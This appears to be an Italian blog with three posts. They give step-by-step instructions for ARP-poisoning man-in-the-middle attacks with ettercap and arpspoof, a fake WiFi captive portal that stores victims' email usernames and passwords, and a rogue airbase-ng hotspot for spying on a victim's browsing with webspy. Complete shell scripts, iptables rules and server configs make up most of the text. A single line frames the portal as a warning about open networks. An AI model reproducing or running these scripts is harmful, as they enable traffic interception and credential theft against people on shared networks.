venerdì 22 novembre 2013

ARP poisoning su switched lan


Questo tipo di attacco è nato per ovviare alla sostituzioni degli HUB con gli switch nelle reti ethernet. Gli switch permettono di inoltrare il traffico soltanto all'host di destinazione, quindi per sniffare i dati diretti ad altri è necessario modificare il proprio MAC.
Il protocollo Ethernet, identifica gli host in base ad un indirizzo a 48 bit(MAC), se ad esempio l' host 10.10.10.1 vuole comunicare con l'host 10.10.10.2 manderà una ARP request in broadcast con il proprio MAC ,il proprio indirizzo IP e l'IP di destinazione. Quando 10.10.10.2 riceverà l'ARP request risponderà con un'ARP reply destinato al MAC sorgente e contenente il proprio MAC.Per velocizzare il procedimento queste informazioni vengono memorizzate in una tabella di ARP, quindi è chiaro che riuscendo a modificare questa tabella sarà possibile leggere i pacchetti di dati non destinati al nostro MAC. In sostanza con questa tecnica si può realizzare un attacco MITM in cui tutto il traffico della rete passa dal nostro host. Con ettercap realizzare questo tipo di attacco è semplice basta eseguire il comando :

ettercap -i interface -T -q -M ARP /host1/ /host2/

Una valida alternativa a ettercap è arpspoof, supponiamo di voler realizzare un attacco MITM tra il gateway della rete a cui siamo collegati ,che ha un ipotetico indirizzo 192.168.0.1 e l'host 192.168.0.100 i comandi sono :

echo 1 > /proc/sys/net/ipv4/ip_forward (per abilitare ip_forward)
arpspoof 192.168.0.100 -t 192.168.0.1 
arpspoof 192.168.0.1 -t 192.168.0.100 

A questo punto è possibile sniffare il traffico direttamente sulla nostra interfaccia di rete.

giovedì 21 novembre 2013

Creare un semplice "captive portal WIFI"

In sostanza si tratta di creare un finto portale WIFI ,che promettendo un libero accesso ad internet, intercetta alcuni dati sensibili. Questo esempio dovrebbe mettervi in guardia circa l' utilizzo di reti WIFI trovate aperte.
Supponiamo di utilizzare ubuntu, per prima cosa installate il necessario per poter realizzare un hotspot WIFI seguendo questa  guida attacco-mitm.Dopo dovete installare il server LAMP, se non sapete come fare esistono centinaia di guide sull' argomento, basta usare google. Quando avete istallato il server aprite ,da root, il file di configurazione:

sudo gedit /etc/apache2/httpd.conf

copiare la seguente configurazione e salvare:

ServerName webserver
DocumentRoot /var/www
ServerRoot /etc/apache2
Listen 8080
#inserire il proprio user e group
User miouser
Group miogroup
<Directory /var/www>
    order deny,allow
    allow from all
</Directory>

Adesso bisogna preparare le pagine web da mettere sul nostro portale, qui potete dare sfogo alla vostra immaginazione. Io come esempio ho preparato una semplicissima pagina che memorizza in un file "user" e "pass" di una casella email (potete scaricarlo a questo indirizzo). Dopo aver copiato i file nella directory /var/www (ricordate di chiamare la pagina di ingresso del portale index.php), creiamo uno script che configura l'hotspot e reindirizza l'utente, copiate il file e salvatelo come "captive.sh":

#!/bin/sh
pkill airbase-ng
sleep 2;
pkill dhcpd3
sleep 5;
airmon-ng start wlan0 
sleep 5;
airbase-ng -e miarete -c 9 mon0 &
sleep 5;
ifconfig at0 up
ifconfig at0 192.168.2.129 netmask 255.255.255.128
route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129 
sleep 5;
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o wlan1 -j MASQUERADE 
iptables -A PREROUTING -t nat -i at0 -p tcp -j REDIRECT --to-ports 8080
dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0 &
echo 1 > /proc/sys/net/ipv4/ip_forward


Per eseguire il tutto dovete lanciare il server:

sudo service apache2 start

ed eseguire lo script:

sudo ./captive.sh

Quando un utente si collega al vostro hotspot si troverà indirizzato sulla vostra pagina di ingresso, nel mio esempio questa:




Una volta che l'utente invierà il form i suoi dati verranno memorizzati nel file formdata.txt.

mercoledì 13 novembre 2013

Attacco MITM su rete wifi con ubuntu 12.04

I prerequisiti per utilizzare questa versione di ubuntu per l'attacco sono :

1)Installare i compat-wireless
2)Installare aircrack-ng e dsniff
3)Avere una scheda wifi "libera" ,cioè non utilizzata per la connessione a internet, che supporti il monitor-mode
3)Installare il server dhcp3 versione 3.1.3-2ubuntu3.5

Per l' installazione del server dhcp3 procedere come segue:

1)Scaricare i pacchetti dhcp3-common 3.1.3-2ubuntu3.5 e dhcp3-server 3.1.3-2ubuntu3.5 da questo sito https://launchpad.net/ubuntu/lucid/+package/dhcp3-common
2)Da root aprire il pacchetto dhcp3-common 3.1.3-2ubuntu3.5 con synaptic e installare.
3)Ripetere il procedimento per il pacchetto dhcp3-server 3.1.3-2ubuntu3.5
4)Una volta installati i pacchetti sempre da synaptic selezionare il pacchetto dhcp3-common e poi dal menu "Pacchetto" selezionare "Blocca versione".
5)Ripetere il procedimento per dhcp3-server
6)Chiudere synaptic

A questo punto bisogna configurare il server dhcp3 , aprire il file "/etc/dhcp3/dhcpd.conf" cancellare tutto, copiare quanto segue:

ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.2.128 netmask 255.255.255.128 {
option subnet-mask 255.255.255.128;
option broadcast-address 192.168.2.255;
option routers 192.168.2.129;
option domain-name-servers 8.8.8.8;
range 192.168.2.130 192.168.2.140;
}

ed infine salvare.

Ora che il server dhcp è configurato creiamo l'hotspot (n.b. tutta la configurazione da root):

1) Mettiamo la scheda wifi in monitor-mode:

airmon-ng start wlan0 (supponendo che la vostra scheda sia wlan0)

2)Creare la rete:

airbase-ng -e "nomerete" -c 9 mon0 (al posto di "nomerete" inserite il nome che intendete usare per l' hotspot senza virgolette).

3)Aprite un altro terminale (senza chiudere il precedente) per abilitate e configurare l'interfaccia at0:

ifconfig at0 up
ifconfig at0 192.168.2.129 netmask 255.255.255.128
route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129 

4)Ora configuriamo gli iptables(wlan1 è la scheda connessa a internet) :

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o wlan1 -j MASQUERADE 

5)Lanciamo il server dhcp3:

dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0

6)Infine apriamo un ulteriore terminale e abilitiamo ip_forward:

echo 1 > /proc/sys/net/ipv4/ip_forward

A questo punto quando una vittima si collega al vostro hotspot , tutto il traffico generato
può essere intercettato sull' interfaccia at0. Come esempio lanciamo il programma webspy per vedere sul vostro browser ,in tempo reale, tutte le pagine web aperte dalla vittima. Ecco come procedere:

1)Aprire un terminale da root, supponendo che la vittima abbia ip 192.168.2.130(il primo assegnato dal server dhcp3) :

webspy -i at0 192.168.2.130

2)Aprire un altro terminale da root e lanciare il browser:

firefox

Ora se una vittima collegata alla rete apre una pagina web , la stessa pagina comparirà sul vostro Browser. Per semplicità ho raccolto i comandi in uno script da copiare in un file e salvare col nome mitm.sh. In questo script ho supposto di lavorare con 2 schede wifi, di cui wlan1 è quella connessa ad internet.

#!/bin/sh
pkill airbase-ng
sleep 2;
pkill dhcpd3
sleep 5;
airmon-ng start wlan0 
sleep 5;
airbase-ng -e miarete -c 9 mon0 &
sleep 5;
ifconfig at0 up
ifconfig at0 192.168.2.129 netmask 255.255.255.128
route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129 
sleep 5;
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o wlan1 -j MASQUERADE 
dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0 &
echo 1 > /proc/sys/net/ipv4/ip_forward

Per eseguire lo script bisogna aprire un terminale da root e dare il comando:

./mitm.sh